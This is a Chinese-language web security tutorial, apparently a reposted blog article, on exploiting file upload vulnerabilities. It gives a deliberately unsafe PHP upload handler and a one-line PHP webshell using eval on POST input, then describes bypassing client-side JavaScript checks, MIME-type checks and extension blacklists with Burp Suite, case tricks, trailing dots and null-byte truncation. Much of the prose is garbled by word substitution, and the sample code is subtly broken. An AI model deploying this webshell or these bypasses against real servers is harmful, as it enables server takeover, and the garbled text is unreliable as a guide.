所以绕过的方法就是通过修改Content-Type的值
标签:
0x00 缝隙简介文件上传缝隙是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行处事器端命令的能力。这种打击是最为直接和有效的,“文件上传”自己是没有问题,有问题的是文件上传后,处事器怎么措置惩罚惩罚,解释文件。如果处事器的措置惩罚惩罚逻辑做的不够安适,则会导致严重的后果,。
0x01缝隙条件文件可上传
知道文件上传的路径
上传文件可以被访谒
上传文件可以被执行
上传点都挪用同一个上传类,直接全局搜索上传函数
黑盒寻找上传点,代码定位。
我们先写一个上传的前端
<html> <head> <meta charset="UTF-8"> <title>upload.html</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="上传文件"> <!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传巨细,一般在php.ini里面设置--> </form> </body> </html>写一个上传php
<?php $upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload"; if(isset($_FILES['file'])){ $upload_name = $upload_dir . "\\" . $_FILES['file']; move_uploaded_file($_FILES['file']['tmp_name'],$upload_name); echo "Type:" . $_FILES['file']['type']. "<br >"; echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >"; echo "Name:" . $_FILES['file']['name'];//这三行是我们看一下上传效果。 }else{ echo"上传掉败"; }写一个最简单的一句话
<?php @eval($_POST['777']) ?>上传:

看到上传告成

之后拿蚁剑连接就行
这是一个最简单最简单的例子,只是让本身开始往白盒标的目的改变。慢慢堆集
检测道理
在客户端通过javascript代码来检测用户提交的文件是否合法
绕过要领
添加允许上传的文件类型,使本身想要上传的会见类型为合法
2、删除对js验证脚本的挪用,使其不能对上传的文件类型做检测,从而到达绕过?-同样的通过审查元素,,检察到form表单的内容,form的开始标签为,此中的onsubmit="return checkFile()的感化就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,变可以告成绕过检测
3、操作burpsuite抓包,改削文件类型进行绕过-首先将我们想要上传的恶意脚本的后缀变动为切合要求的文件类型后缀如:webshell.php? -> webshell.jpg-当点击上传的时候使用burp进行抓包,将名字的后缀改回.php,以便上传至处事器能够正确解析
2:处事端绕过1:MIME类型检测绕过
检测道理
当用户上传文件随处事器真个时候,处事器真个措施会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不同法。处事端检测MIME类型的代码如下:
绕过要领
因为处事端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的Content-Type字段 ,所以绕过的要领就是通过改削Content-Type的值,好比改削为image/jpeg;image/png;image/gif等等允许上传类型对应的MIME值
2:黑名单绕过
检测道理
文件类型按照黑名单来检测的道理就是:处事器措施按照一份文件后缀名的名单来判断是否允许当前文件上传随处事器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传
绕过要领
1.?文件名巨细写绕过
用像AsP,?pHp之类的文件名绕过黑名单检测2.?名单列表绕过
用黑名单里没有的名单进行打击,好比黑名单里没有asa或cer之类
3.?特殊文件名绕过
好比发送的?http包里把文件名改成?test.asp.?或?test.asp_(下划线为空格),这种定名方法
在windows系统里是不被允许的,所以需要在?burp之类里进行改削,然后绕过验证后,会
被windows系统自动去失后面的点和空格,但要注意Unix/Linux系统没有这个特性。
4.0x00截断绕过
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30872.html
